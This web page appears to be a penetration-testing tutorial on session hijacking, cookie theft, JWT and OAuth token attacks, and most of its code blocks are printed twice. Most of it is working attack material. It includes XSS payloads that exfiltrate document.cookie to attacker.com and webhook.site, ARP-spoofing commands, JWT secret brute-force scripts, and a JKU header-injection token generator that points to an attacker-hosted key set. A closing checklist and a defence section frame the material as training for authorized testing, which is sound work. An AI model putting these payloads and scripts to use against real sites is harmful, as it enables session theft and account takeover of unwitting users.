Session Attacks
Master session hijacking, cookie theft, and token manipulation techniques to maintain and expand access after initial exploitation.
Authorization Required
🎯 Session Attack Fundamentals
Tools & Resources
Session Hijacking Techniques
Cookie Theft via XSS
If cookies lack the HttpOnly flag, JavaScript can access and exfiltrate them.
// Basic cookie exfiltration
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
// Alternative using fetch
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie));
</script>
// Using external service for testing
<script>
document.location='https://webhook.site/YOUR-ID?c='+document.cookie;
</script>
// More stealthy exfiltration (DNS)
<script>
var c = btoa(document.cookie);
var img = new Image();
img.src = 'https://'+c+'.attacker.com/x.gif';
</script>// Basic cookie exfiltration
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
// Alternative using fetch
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie));
</script>
// Using external service for testing
<script>
document.location='https://webhook.site/YOUR-ID?c='+document.cookie;
</script>
// More stealthy exfiltration (DNS)
<script>
var c = btoa(document.cookie);
var img = new Image();
img.src = 'https://'+c+'.attacker.com/x.gif';
</script>Session Token Prediction
Analyze session token patterns to predict valid tokens.
# Collect multiple session tokens
for i in {1..100}; do
curl -s -c - 'https://target.com/login' | grep -i session
sleep 0.1
done > session_tokens.txt
# Analyze token entropy with Burp Sequencer
# Import tokens and run statistical analysis
# Python script to analyze token patterns
import hashlib
import time
tokens = open('session_tokens.txt').readlines()
# Check for timestamp-based tokens
for token in tokens:
# Decode base64 if needed
try:
decoded = base64.b64decode(token)
print(f"Decoded: {decoded}")
except:
pass
# Check for sequential patterns
# Look for embedded timestamps
# Burp Intruder - brute force sequential tokens
# If tokens are sequential: SESS001, SESS002, etc.
# Use Numbers payload: 1-10000# Collect multiple session tokens
for i in {1..100}; do
curl -s -c - 'https://target.com/login' | grep -i session
sleep 0.1
done > session_tokens.txt
# Analyze token entropy with Burp Sequencer
# Import tokens and run statistical analysis
# Python script to analyze token patterns
import hashlib
import time
tokens = open('session_tokens.txt').readlines()
# Check for timestamp-based tokens
for token in tokens:
# Decode base64 if needed
try:
decoded = base64.b64decode(token)
print(f"Decoded: {decoded}")
except:
pass
# Check for sequential patterns
# Look for embedded timestamps
# Burp Intruder - brute force sequential tokens
# If tokens are sequential: SESS001, SESS002, etc.
# Use Numbers payload: 1-10000Network-Based Session Theft
# Capture session cookies with tcpdump (unencrypted traffic)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i 'cookie\|session'
# Using mitmproxy for HTTPS interception
mitmproxy --mode transparent --showhost
# Capture with Wireshark filter
http.cookie contains "session" or http.set_cookie contains "session"
# ARP spoofing to position for MITM (with authorization!)
# Using arpspoof
sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
sudo arpspoof -i eth0 -t <gateway_ip> <victim_ip>
# Using Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> net.sniff on# Capture session cookies with tcpdump (unencrypted traffic)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i 'cookie\|session'
# Using mitmproxy for HTTPS interception
mitmproxy --mode transparent --showhost
# Capture with Wireshark filter
http.cookie contains "session" or http.set_cookie contains "session"
# ARP spoofing to position for MITM (with authorization!)
# Using arpspoof
sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
sudo arpspoof -i eth0 -t <gateway_ip> <victim_ip>
# Using Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> net.sniff onSession Fixation Attacks
Session fixation forces a victim to use an attacker-controlled session ID, allowing account takeover after the victim authenticates.
# Step 1: Attacker gets a valid session ID
curl -c cookies.txt 'https://target.com/login'
# Extract session ID: PHPSESSID=abc123
# Step 2: Send fixation link to victim
# URL-based fixation
https://target.com/login?PHPSESSID=abc123
# Cookie-based fixation (via XSS or subdomain)
<script>document.cookie='PHPSESSID=abc123';</script>
# Step 3: Wait for victim to authenticate
# Step 4: Use the fixed session
curl -b 'PHPSESSID=abc123' 'https://target.com/dashboard'
# Testing for session fixation vulnerability
# 1. Note pre-auth session ID
# 2. Authenticate
# 3. Check if session ID changed
# If same = vulnerable
# Python test script
import requests
# Get pre-auth session
s = requests.Session()
s.get('https://target.com/')
pre_auth = s.cookies.get('PHPSESSID')
# Authenticate
s.post('https://target.com/login', data={'user': 'test', 'pass': 'test'})
post_auth = s.cookies.get('PHPSESSID')
if pre_auth == post_auth:
print('[VULNERABLE] Session ID not regenerated after login!')
else:
print('[SECURE] Session ID regenerated')# Step 1: Attacker gets a valid session ID
curl -c cookies.txt 'https://target.com/login'
# Extract session ID: PHPSESSID=abc123
# Step 2: Send fixation link to victim
# URL-based fixation
https://target.com/login?PHPSESSID=abc123
# Cookie-based fixation (via XSS or subdomain)
<script>document.cookie='PHPSESSID=abc123';</script>
# Step 3: Wait for victim to authenticate
# Step 4: Use the fixed session
curl -b 'PHPSESSID=abc123' 'https://target.com/dashboard'
# Testing for session fixation vulnerability
# 1. Note pre-auth session ID
# 2. Authenticate
# 3. Check if session ID changed
# If same = vulnerable
# Python test script
import requests
# Get pre-auth session
s = requests.Session()
s.get('https://target.com/')
pre_auth = s.cookies.get('PHPSESSID')
# Authenticate
s.post('https://target.com/login', data={'user': 'test', 'pass': 'test'})
post_auth = s.cookies.get('PHPSESSID')
if pre_auth == post_auth:
print('[VULNERABLE] Session ID not regenerated after login!')
else:
print('[SECURE] Session ID regenerated')JWT Token Attacks
Dedicated JWT Guide Available
JWTs are commonly used as session tokens. Key session-specific attacks include:
- Token Theft: XSS to steal JWTs from localStorage/cookies → replay for session hijacking
- Claim Tampering: Modify
role,sub, oradminclaims if signature isn't validated - Long-Lived Tokens: JWTs without expiration (
exp) or with excessive TTL enable persistent access - No Revocation: JWTs can't be server-side invalidated without a blocklist — stolen tokens remain valid until expiry
# Quick JWT session testing with jwt_tool
jwt_tool <token> -X a # Test algorithm 'none'
jwt_tool <token> -I -pc role -pv admin # Inject admin claim
jwt_tool <token> -C -d wordlist.txt # Brute-force secret
# Check JWT storage location (XSS impact)
# localStorage: document.cookie won't work, but XSS can read it
# HttpOnly cookie: XSS can't directly steal it
# See /web-pentest/06t-jwt-attacks/ for full exploitation techniques# Quick JWT session testing with jwt_tool
jwt_tool <token> -X a # Test algorithm 'none'
jwt_tool <token> -I -pc role -pv admin # Inject admin claim
jwt_tool <token> -C -d wordlist.txt # Brute-force secret
# Check JWT storage location (XSS impact)
# localStorage: document.cookie won't work, but XSS can read it
# HttpOnly cookie: XSS can't directly steal it
# See /web-pentest/06t-jwt-attacks/ for full exploitation techniquesJWT Secret Brute Force
# Brute force weak JWT secrets
# Using jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat (mode 16500 for JWT)
# Extract hash format from JWT
echo '<full_jwt_token>' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Python brute force script
import jwt
import sys
token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')
for secret in wordlist:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f'[+] Secret found: {secret}')
break
except jwt.InvalidSignatureError:
continue
# Common weak secrets to try:
# secret, password, 123456, qwerty, admin, key# Brute force weak JWT secrets
# Using jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat (mode 16500 for JWT)
# Extract hash format from JWT
echo '<full_jwt_token>' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Python brute force script
import jwt
import sys
token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')
for secret in wordlist:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f'[+] Secret found: {secret}')
break
except jwt.InvalidSignatureError:
continue
# Common weak secrets to try:
# secret, password, 123456, qwerty, admin, keyJKU/X5U Header Injection
# JKU (JWK Set URL) header injection
# Attacker hosts malicious JWKS endpoint
# Step 1: Generate key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# Step 2: Create JWKS file (host on attacker server)
python3 << 'EOF'
import json
from jwcrypto import jwk
with open('attacker_public.pem', 'rb') as f:
key = jwk.JWK.from_pem(f.read())
jwks = {"keys": [json.loads(key.export())]}
print(json.dumps(jwks, indent=2))
EOF
# Step 3: Create token with malicious jku header
python3 << 'EOF'
import jwt
import json
header = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json" # Attacker-controlled
}
payload = {"sub": "admin", "role": "administrator"}
with open('attacker_private.pem', 'rb') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
EOF
# Using jwt_tool
jwt_tool <token> -X s -ju https://attacker.com/jwks.json# JKU (JWK Set URL) header injection
# Attacker hosts malicious JWKS endpoint
# Step 1: Generate key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# Step 2: Create JWKS file (host on attacker server)
python3 << 'EOF'
import json
from jwcrypto import jwk
with open('attacker_public.pem', 'rb') as f:
key = jwk.JWK.from_pem(f.read())
jwks = {"keys": [json.loads(key.export())]}
print(json.dumps(jwks, indent=2))
EOF
# Step 3: Create token with malicious jku header
python3 << 'EOF'
import jwt
import json
header = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json" # Attacker-controlled
}
payload = {"sub": "admin", "role": "administrator"}
with open('attacker_private.pem', 'rb') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
EOF
# Using jwt_tool
jwt_tool <token> -X s -ju https://attacker.com/jwks.jsonCookie Manipulation Techniques
Cookie Attribute Analysis
# Analyze cookie security attributes
curl -v 'https://target.com/login' 2>&1 | grep -i 'set-cookie'
# Check for missing security flags:
# - HttpOnly: Prevents JavaScript access
# - Secure: Only sent over HTTPS
# - SameSite: CSRF protection
# Python cookie analyzer
import requests
r = requests.get('https://target.com/')
for cookie in r.cookies:
print(f"Name: {cookie.name}")
print(f" Value: {cookie.value}")
print(f" Domain: {cookie.domain}")
print(f" Path: {cookie.path}")
print(f" Secure: {cookie.secure}")
print(f" HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
print()
# Burp Suite - inspect Set-Cookie headers
# Look for:
# - Missing HttpOnly (can steal via XSS)
# - Missing Secure (can intercept on HTTP)
# - SameSite=None (vulnerable to CSRF)# Analyze cookie security attributes
curl -v 'https://target.com/login' 2>&1 | grep -i 'set-cookie'
# Check for missing security flags:
# - HttpOnly: Prevents JavaScript access
# - Secure: Only sent over HTTPS
# - SameSite: CSRF protection
# Python cookie analyzer
import requests
r = requests.get('https://target.com/')
for cookie in r.cookies:
print(f"Name: {cookie.name}")
print(f" Value: {cookie.value}")
print(f" Domain: {cookie.domain}")
print(f" Path: {cookie.path}")
print(f" Secure: {cookie.secure}")
print(f" HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
print()
# Burp Suite - inspect Set-Cookie headers
# Look for:
# - Missing HttpOnly (can steal via XSS)
# - Missing Secure (can intercept on HTTP)
# - SameSite=None (vulnerable to CSRF)Cookie Tampering
# Decode and modify cookie values
# Base64 encoded cookies
echo 'YWRtaW49ZmFsc2U=' | base64 -d
# admin=false
echo 'admin=true' | base64
# YWRtaW49dHJ1ZQo=
# Serialized PHP session cookies
# Identify: a:2:{s:4:"user";s:5:"guest";s:5:"admin";b:0;}
# Modify: a:2:{s:4:"user";s:5:"admin";s:5:"admin";b:1;}
# JSON cookies
# Original: {"user":"guest","role":"user"}
# Modified: {"user":"admin","role":"admin"}
# Test modified cookies
curl -b 'session=YWRtaW49dHJ1ZQ==' 'https://target.com/admin'
# Cookie signing bypass attempts
# If signed: value.signature
# Try removing signature
# Try truncating signature
# Try signature confusion attacks# Decode and modify cookie values
# Base64 encoded cookies
echo 'YWRtaW49ZmFsc2U=' | base64 -d
# admin=false
echo 'admin=true' | base64
# YWRtaW49dHJ1ZQo=
# Serialized PHP session cookies
# Identify: a:2:{s:4:"user";s:5:"guest";s:5:"admin";b:0;}
# Modify: a:2:{s:4:"user";s:5:"admin";s:5:"admin";b:1;}
# JSON cookies
# Original: {"user":"guest","role":"user"}
# Modified: {"user":"admin","role":"admin"}
# Test modified cookies
curl -b 'session=YWRtaW49dHJ1ZQ==' 'https://target.com/admin'
# Cookie signing bypass attempts
# If signed: value.signature
# Try removing signature
# Try truncating signature
# Try signature confusion attacksCookie Scope Attacks
# Cookie scope manipulation
# If cookie is set for .example.com
# Accessible from any subdomain
# Subdomain takeover for cookie theft
# 1. Find dangling DNS records
subfinder -d example.com | httpx -sc -title | grep -v 200
# 2. Claim abandoned subdomain
# 3. Host malicious page to steal cookies
# Cookie tossing attack
# Inject cookie from subdomain to override parent domain cookie
# On attacker.example.com:
<script>
document.cookie = "session=attacker_token; domain=.example.com; path=/";
</script>
# Parent domain path confusion
# Cookie set for /admin/ won't be sent to /Admin/
# Test case sensitivity in cookie paths# Cookie scope manipulation
# If cookie is set for .example.com
# Accessible from any subdomain
# Subdomain takeover for cookie theft
# 1. Find dangling DNS records
subfinder -d example.com | httpx -sc -title | grep -v 200
# 2. Claim abandoned subdomain
# 3. Host malicious page to steal cookies
# Cookie tossing attack
# Inject cookie from subdomain to override parent domain cookie
# On attacker.example.com:
<script>
document.cookie = "session=attacker_token; domain=.example.com; path=/";
</script>
# Parent domain path confusion
# Cookie set for /admin/ won't be sent to /Admin/
# Test case sensitivity in cookie pathsSession Replay Attacks
# Capture and replay authenticated requests
# Using Burp Suite
# 1. Intercept authenticated request
# 2. Send to Repeater
# 3. Replay after session should expire
# Test session timeout
# 1. Login and note session token
# 2. Wait for timeout period
# 3. Attempt to use session token
curl -b 'PHPSESSID=old_token' 'https://target.com/dashboard'
# Test concurrent sessions
# 1. Login on device A
# 2. Login on device B
# 3. Check if device A session is invalidated
# Test logout functionality
# 1. Login and save session token
# 2. Logout
# 3. Try using old session token
session_token="abc123"
curl -b "session=$session_token" 'https://target.com/logout' -v
curl -b "session=$session_token" 'https://target.com/dashboard'
# Test session invalidation after password change
# 1. Login on multiple devices
# 2. Change password
# 3. Check if other sessions are invalidated# Capture and replay authenticated requests
# Using Burp Suite
# 1. Intercept authenticated request
# 2. Send to Repeater
# 3. Replay after session should expire
# Test session timeout
# 1. Login and note session token
# 2. Wait for timeout period
# 3. Attempt to use session token
curl -b 'PHPSESSID=old_token' 'https://target.com/dashboard'
# Test concurrent sessions
# 1. Login on device A
# 2. Login on device B
# 3. Check if device A session is invalidated
# Test logout functionality
# 1. Login and save session token
# 2. Logout
# 3. Try using old session token
session_token="abc123"
curl -b "session=$session_token" 'https://target.com/logout' -v
curl -b "session=$session_token" 'https://target.com/dashboard'
# Test session invalidation after password change
# 1. Login on multiple devices
# 2. Change password
# 3. Check if other sessions are invalidatedAPI Token Attacks
# Find exposed API tokens
# Check JavaScript files
curl -s 'https://target.com/app.js' | grep -Ei 'api[_-]?key|token|secret|bearer'
# Check HTML source
curl -s 'https://target.com/' | grep -Ei 'data-token|api-key|authorization'
# Check mobile app traffic
# Use mitmproxy or Burp to intercept API calls
mitmproxy --mode regular
# Configure mobile device proxy to attacker
# Token in URL (logged in web servers, referer headers)
# https://api.target.com/data?api_key=secret123
# Check for token leakage in Referer header
# Bearer token manipulation
# Original: Authorization: Bearer user_token
# Test: Authorization: Bearer admin_token
# Test token scope
# Try accessing endpoints beyond token's intended scope
for endpoint in /admin /users /config /debug; do
curl -H "Authorization: Bearer $token" "https://api.target.com$endpoint"
done
# Check for token reuse across environments
# Dev token on prod, staging token on prod, etc.# Find exposed API tokens
# Check JavaScript files
curl -s 'https://target.com/app.js' | grep -Ei 'api[_-]?key|token|secret|bearer'
# Check HTML source
curl -s 'https://target.com/' | grep -Ei 'data-token|api-key|authorization'
# Check mobile app traffic
# Use mitmproxy or Burp to intercept API calls
mitmproxy --mode regular
# Configure mobile device proxy to attacker
# Token in URL (logged in web servers, referer headers)
# https://api.target.com/data?api_key=secret123
# Check for token leakage in Referer header
# Bearer token manipulation
# Original: Authorization: Bearer user_token
# Test: Authorization: Bearer admin_token
# Test token scope
# Try accessing endpoints beyond token's intended scope
for endpoint in /admin /users /config /debug; do
curl -H "Authorization: Bearer $token" "https://api.target.com$endpoint"
done
# Check for token reuse across environments
# Dev token on prod, staging token on prod, etc.OAuth/OIDC Session Attacks
# OAuth token theft via open redirect
# Find open redirect in redirect_uri validation
https://oauth.target.com/authorize?
response_type=code&
client_id=app&
redirect_uri=https://target.com/callback/../../../attacker.com&
state=xyz
# Authorization code interception
# If code is leaked (referer, logs), attacker can exchange for token
# Mitigated by PKCE - test if PKCE is enforced
# Test PKCE bypass
# Try omitting code_verifier in token exchange
curl -X POST 'https://oauth.target.com/token' -d 'grant_type=authorization_code' -d 'code=AUTHORIZATION_CODE' -d 'client_id=app' -d 'redirect_uri=https://target.com/callback'
# Note: no code_verifier
# Implicit flow token theft (deprecated but still seen)
# Token in URL fragment can be leaked via referer
https://oauth.target.com/authorize?
response_type=token&
client_id=app&
redirect_uri=https://target.com/callback
# Token returned in fragment: https://target.com/callback#access_token=xxx
# Attacker page can read via document.location.hash
# State parameter bypass
# Try requests without state parameter
# Try reusing old state values
# Try predictable state values# OAuth token theft via open redirect
# Find open redirect in redirect_uri validation
https://oauth.target.com/authorize?
response_type=code&
client_id=app&
redirect_uri=https://target.com/callback/../../../attacker.com&
state=xyz
# Authorization code interception
# If code is leaked (referer, logs), attacker can exchange for token
# Mitigated by PKCE - test if PKCE is enforced
# Test PKCE bypass
# Try omitting code_verifier in token exchange
curl -X POST 'https://oauth.target.com/token' -d 'grant_type=authorization_code' -d 'code=AUTHORIZATION_CODE' -d 'client_id=app' -d 'redirect_uri=https://target.com/callback'
# Note: no code_verifier
# Implicit flow token theft (deprecated but still seen)
# Token in URL fragment can be leaked via referer
https://oauth.target.com/authorize?
response_type=token&
client_id=app&
redirect_uri=https://target.com/callback
# Token returned in fragment: https://target.com/callback#access_token=xxx
# Attacker page can read via document.location.hash
# State parameter bypass
# Try requests without state parameter
# Try reusing old state values
# Try predictable state valuesSession Attack Testing Checklist
🍪 Cookie Security
- ☐ HttpOnly flag present on session cookies
- ☐ Secure flag present (HTTPS only)
- ☐ SameSite attribute properly configured
- ☐ Cookie scope properly restricted
- ☐ Sensitive data not stored in cookies
🔑 Session Management
- ☐ Session ID regenerated after login
- ☐ Session invalidated on logout
- ☐ Appropriate session timeout configured
- ☐ Concurrent session controls in place
- ☐ Session tokens have sufficient entropy
🎫 JWT Security
- ☐ Algorithm 'none' rejected
- ☐ Algorithm confusion prevented
- ☐ Strong signing secret used
- ☐ JKU/X5U headers validated
- ☐ Token expiration enforced
🔐 OAuth/API Tokens
- ☐ PKCE enforced for OAuth flows
- ☐ State parameter validated
- ☐ Redirect URI strictly validated
- ☐ API tokens properly scoped
- ☐ Token rotation implemented
Practice Labs
PortSwigger JWT Labs
Practice JWT attacks including algorithm confusion and weak secrets
Authentication Labs
Session management vulnerabilities and authentication bypass
OWASP Juice Shop
Session-related challenges including JWT and cookie tampering
jwt_tool Practice
Comprehensive JWT testing toolkit with vulnerable examples
🛡️ Remediation & Defense
Session Security Best Practices
Cookie Security
- • Set
HttpOnly,Secure, andSameSite=Stricton all session cookies - • Use cryptographically random session tokens (128+ bits entropy)
- • Regenerate session IDs after authentication state changes
- • Implement absolute and idle session timeouts
JWT Hardening
- • Enforce algorithm validation (reject "none", enforce expected alg)
- • Use asymmetric keys (RS256/ES256) over shared secrets
- • Validate
iss,aud,exp, andnbfclaims - • Implement token revocation (blocklist or short expiry + refresh tokens)
Session Management
- • Bind sessions to client fingerprints (IP range, User-Agent)
- • Implement concurrent session limits
- • Provide "sign out everywhere" functionality
- • Invalidate sessions server-side on logout, not just client-side
Monitoring
- • Alert on session use from new geolocations or devices
- • Detect and block session fixation attempts
- • Monitor for tokens appearing in URLs or referrer headers
- • Rate-limit failed session validation attempts
CWE References: CWE-384 (Session Fixation), CWE-614 (Sensitive Cookie Without Secure Flag), CWE-539 (Persistent Cookies Containing Sensitive Information)
For comprehensive JWT attack techniques and mitigations, see the dedicated JWT Attacks guide.